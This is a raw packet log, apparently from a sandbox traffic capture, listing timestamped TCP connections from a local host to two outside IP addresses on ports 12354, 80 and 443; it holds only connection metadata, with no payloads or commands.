Dec 11, 2024 16:28:16.686940908 CET	12354	49432	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:16.802416086 CET	80	49506	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:16.802997112 CET	12354	49507	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:18.251379013 CET	80	49506	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:18.251446009 CET	49506	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:18.313956976 CET	50750	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:18.313988924 CET	443	50750	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:18.314601898 CET	50750	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:18.344345093 CET	50750	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:18.344364882 CET	443	50750	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:18.691354990 CET	12354	49432	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:18.691668034 CET	49432	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:18.691781998 CET	49432	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:18.692137957 CET	50935	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:18.800412893 CET	12354	49507	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:18.800478935 CET	49507	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:18.800760984 CET	49507	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:18.806022882 CET	51052	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:18.813812971 CET	12354	49432	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:18.814194918 CET	12354	50935	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:18.814268112 CET	50935	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:18.814642906 CET	50935	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:18.921658993 CET	12354	49507	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:18.926095963 CET	12354	51052	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:18.926300049 CET	51052	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:18.934456110 CET	12354	50935	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:18.938644886 CET	51052	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:19.062236071 CET	12354	51052	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:20.036215067 CET	443	50750	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:20.036274910 CET	50750	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:20.036938906 CET	443	50750	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:20.036999941 CET	50750	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:20.041115999 CET	50750	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:20.041171074 CET	443	50750	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:20.041275978 CET	50750	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:20.149290085 CET	49506	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:20.149661064 CET	52373	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:20.269649982 CET	80	52373	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:20.269757032 CET	52373	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:20.269857883 CET	80	49506	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:20.270488977 CET	49506	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:20.274424076 CET	52373	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:20.393676996 CET	80	52373	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:20.458900928 CET	50935	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:20.458925962 CET	52373	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:20.458949089 CET	51052	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:20.574774981 CET	52733	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:20.576508045 CET	52734	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:20.691276073 CET	52753	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:20.694035053 CET	12354	52733	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:20.694101095 CET	52733	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:20.694210052 CET	52733	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:20.695990086 CET	12354	52734	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:20.696047068 CET	52734	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:20.696369886 CET	52734	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:20.810947895 CET	80	52753	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:20.811014891 CET	52753	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:20.811775923 CET	52753	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:20.814047098 CET	12354	52733	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:20.815677881 CET	12354	52734	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:20.931376934 CET	80	52753	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:22.379369020 CET	80	52753	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:22.379582882 CET	52753	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:22.387032986 CET	54436	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:22.387062073 CET	443	54436	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:22.387114048 CET	54436	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:22.388421059 CET	54436	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:22.388428926 CET	443	54436	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:22.829936981 CET	12354	52734	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:22.829993963 CET	52734	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:22.830168009 CET	52734	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:22.831248045 CET	54680	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:22.831784010 CET	12354	52733	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:22.831840992 CET	52733	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:22.832201004 CET	52733	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:22.952779055 CET	12354	52734	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:22.952805042 CET	12354	54680	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:22.952897072 CET	12354	52733	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:22.953061104 CET	54680	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:22.955167055 CET	54699	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:22.955297947 CET	54680	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:23.074444056 CET	12354	54699	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:23.074549913 CET	12354	54680	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:23.075480938 CET	54699	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:23.078562021 CET	54699	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:23.200366974 CET	12354	54699	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:24.071497917 CET	443	54436	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:24.071620941 CET	54436	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:24.072330952 CET	443	54436	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:24.072810888 CET	54436	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:24.077670097 CET	54436	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:24.077718973 CET	443	54436	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:24.077852011 CET	443	54436	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:24.077908039 CET	54436	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:24.077924967 CET	54436	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:24.199361086 CET	52753	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:24.199676037 CET	54977	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:24.319283962 CET	80	54977	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:24.319401979 CET	54977	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:24.319917917 CET	54977	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:24.322005987 CET	80	52753	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:24.322113991 CET	52753	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:24.440886974 CET	80	54977	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:24.584083080 CET	54977	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:24.584152937 CET	54699	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:24.584152937 CET	54680	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:24.584949017 CET	55365	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:24.705183983 CET	12354	55365	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:24.705260038 CET	55365	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:24.705524921 CET	55365	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:24.707101107 CET	55462	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:24.709244013 CET	55463	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:24.828593969 CET	12354	55365	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:24.828975916 CET	12354	55462	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:24.829057932 CET	55462	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:24.829960108 CET	55462	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:24.832840919 CET	80	55463	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:24.832909107 CET	55463	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:24.833661079 CET	55463	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:24.953680992 CET	12354	55462	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:24.957483053 CET	80	55463	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:26.412270069 CET	80	55463	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:26.412358999 CET	55463	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:26.832051992 CET	12354	55365	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:26.832123041 CET	55365	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:26.880156040 CET	55365	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:26.881015062 CET	56639	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:26.881905079 CET	56640	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:26.881922007 CET	443	56640	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:26.882071972 CET	56640	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:26.883338928 CET	56640	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:26.883363962 CET	443	56640	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:26.958796978 CET	12354	55462	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:26.958857059 CET	55462	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:26.962060928 CET	55462	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:26.999398947 CET	12354	55365	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:27.003887892 CET	12354	56639	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:27.003972054 CET	56639	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:27.019649029 CET	56639	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:27.027590990 CET	56724	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:27.082128048 CET	12354	55462	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:27.139650106 CET	12354	56639	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:27.150191069 CET	12354	56724	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:27.150253057 CET	56724	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:27.150981903 CET	56724	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:27.270225048 CET	12354	56724	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:28.735889912 CET	56724	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:28.736067057 CET	56639	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:28.736068010 CET	56640	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:28.740602016 CET	58030	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:28.860544920 CET	12354	58030	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:28.860688925 CET	58030	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:28.889705896 CET	58030	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:28.941773891 CET	58058	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:28.969202995 CET	55463	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:28.969803095 CET	58059	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:29.009076118 CET	12354	58030	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:29.061225891 CET	12354	58058	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:29.061337948 CET	58058	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:29.089271069 CET	80	55463	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:29.089374065 CET	55463	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:29.089385986 CET	80	58059	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:29.089468956 CET	58059	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:29.170773983 CET	58058	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:29.170974016 CET	58059	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:29.181591988 CET	12354	58058	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:29.181690931 CET	58058	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:29.209111929 CET	80	58059	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:29.209168911 CET	58059	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:29.290230989 CET	12354	58058	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:29.290329933 CET	80	58059	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:29.301078081 CET	12354	58058	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:29.301867962 CET	58062	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:29.301978111 CET	58059	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:29.328685999 CET	80	58059	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:29.426063061 CET	12354	58062	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:29.426074982 CET	80	58059	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:29.426209927 CET	58062	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:29.608978987 CET	58062	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:29.619260073 CET	12354	58062	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:29.619343996 CET	58062	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:29.733258963 CET	12354	58062	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:29.739404917 CET	12354	58062	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:29.777580976 CET	58065	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:29.778479099 CET	58066	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:29.897172928 CET	80	58065	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:29.897257090 CET	58065	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:29.898040056 CET	12354	58066	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:29.898103952 CET	58066	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:29.905136108 CET	58065	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:29.906032085 CET	58066	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:30.023528099 CET	12354	58066	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:30.023586035 CET	58066	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:30.024537086 CET	58066	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:30.024918079 CET	58181	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:30.030302048 CET	80	58065	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:30.030931950 CET	12354	58066	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:30.146207094 CET	12354	58066	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:30.146902084 CET	12354	58066	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:30.147248983 CET	12354	58181	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:30.147330046 CET	58181	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:30.147821903 CET	58181	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:30.267124891 CET	12354	58181	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:30.972242117 CET	12354	58030	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:30.972294092 CET	58030	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:30.972465992 CET	58030	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:30.972841978 CET	59142	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:31.091644049 CET	12354	58030	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:31.092040062 CET	12354	59142	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:31.092108011 CET	59142	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:31.096976042 CET	59142	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:31.211492062 CET	12354	59142	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:31.211581945 CET	59142	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:31.211693048 CET	59142	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:31.212018013 CET	59341	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:31.216368914 CET	12354	59142	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:31.331298113 CET	12354	59142	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:31.331377029 CET	12354	59142	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:31.331742048 CET	12354	59341	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:31.331840038 CET	59341	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:31.332510948 CET	59341	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:31.451263905 CET	12354	59341	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:31.451611042 CET	59341	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:31.451940060 CET	12354	59341	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:31.459703922 CET	59341	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:31.460129976 CET	59628	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:31.467890978 CET	80	58065	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:31.467999935 CET	58065	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:31.474018097 CET	59630	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:31.474061012 CET	443	59630	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:31.474134922 CET	59630	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:31.475904942 CET	59630	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:31.475917101 CET	443	59630	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:31.572997093 CET	12354	59341	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:31.581247091 CET	12354	59341	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:31.581279039 CET	12354	59628	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:31.581394911 CET	59628	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:31.581887007 CET	59628	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:31.703845024 CET	12354	59628	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:31.719728947 CET	443	59630	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:31.724834919 CET	59835	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:31.724867105 CET	443	59835	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:31.724967957 CET	59835	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:31.725397110 CET	59835	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:31.725424051 CET	443	59835	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:31.965696096 CET	443	59835	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:31.967088938 CET	59997	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:31.967123985 CET	443	59997	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:31.967185020 CET	59997	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:31.967307091 CET	59997	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:31.967353106 CET	443	59997	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:31.967573881 CET	59997	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:32.074695110 CET	58065	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:32.075337887 CET	60051	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:32.194859982 CET	80	58065	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:32.194879055 CET	80	60051	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:32.194921970 CET	58065	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:32.195060968 CET	60051	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:32.195338011 CET	60051	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:32.253313065 CET	12354	58181	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:32.253362894 CET	58181	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:32.254040956 CET	58181	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:32.254930973 CET	60194	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:32.315262079 CET	80	60051	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:32.315274000 CET	80	60051	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:32.315377951 CET	60051	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:32.315896034 CET	60051	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:32.374615908 CET	12354	58181	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:32.375225067 CET	12354	60194	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:32.375365973 CET	60194	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:32.375946045 CET	60194	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:32.430912971 CET	60332	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:32.435229063 CET	80	60051	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:32.435239077 CET	80	60051	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:32.494988918 CET	12354	60194	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:32.495068073 CET	60194	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:32.495343924 CET	12354	60194	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:32.501321077 CET	60194	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:32.501746893 CET	60387	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:32.550236940 CET	80	60332	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:32.550311089 CET	60332	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:32.558228970 CET	60332	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:32.614603996 CET	12354	60194	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:32.622363091 CET	12354	60194	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:32.622375965 CET	12354	60387	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:32.622456074 CET	60387	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:32.622850895 CET	60387	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:32.678102970 CET	80	60332	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:32.747405052 CET	12354	60387	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:32.747416019 CET	12354	60387	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:32.747467995 CET	60387	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:32.747961044 CET	60387	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:32.748778105 CET	60644	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:32.870328903 CET	12354	60387	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:32.870814085 CET	12354	60387	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:32.871637106 CET	12354	60644	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:32.871721029 CET	60644	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:32.873061895 CET	60644	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:32.902261972 CET	60332	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:32.902292967 CET	59628	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:32.902484894 CET	60644	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:32.909547091 CET	60694	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:32.991544008 CET	12354	60644	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:32.991717100 CET	60644	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:32.992409945 CET	12354	60644	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:33.028867960 CET	12354	60694	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:33.028985977 CET	60694	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:33.029752970 CET	60747	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:33.030117035 CET	60748	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:33.030977964 CET	60694	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:33.149019003 CET	80	60747	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:33.149118900 CET	60747	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:33.149537086 CET	12354	60748	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:33.149588108 CET	60748	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:33.150194883 CET	12354	60694	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:33.150224924 CET	60747	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:33.150561094 CET	60748	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:33.268758059 CET	80	60747	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:33.268825054 CET	60747	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:33.269118071 CET	12354	60748	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:33.269171953 CET	60748	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:33.269496918 CET	80	60747	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:33.269500971 CET	60747	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:28:33.269661903 CET	60748	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:33.269869089 CET	12354	60748	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:33.270220041 CET	60991	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:33.388138056 CET	80	60747	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:33.388376951 CET	12354	60748	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:33.388837099 CET	80	60747	202.108.0.52	192.168.2.5
Dec 11, 2024 16:28:33.389142990 CET	12354	60748	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:33.389425039 CET	12354	60991	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:33.389486074 CET	60991	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:33.495008945 CET	60991	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:33.509115934 CET	12354	60991	107.163.241.232	192.168.2.5
Dec 11, 2024 16:28:33.509174109 CET	60991	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:28:33.540910959 CET	60991	12354	192.168.2.5	107.163.241.232
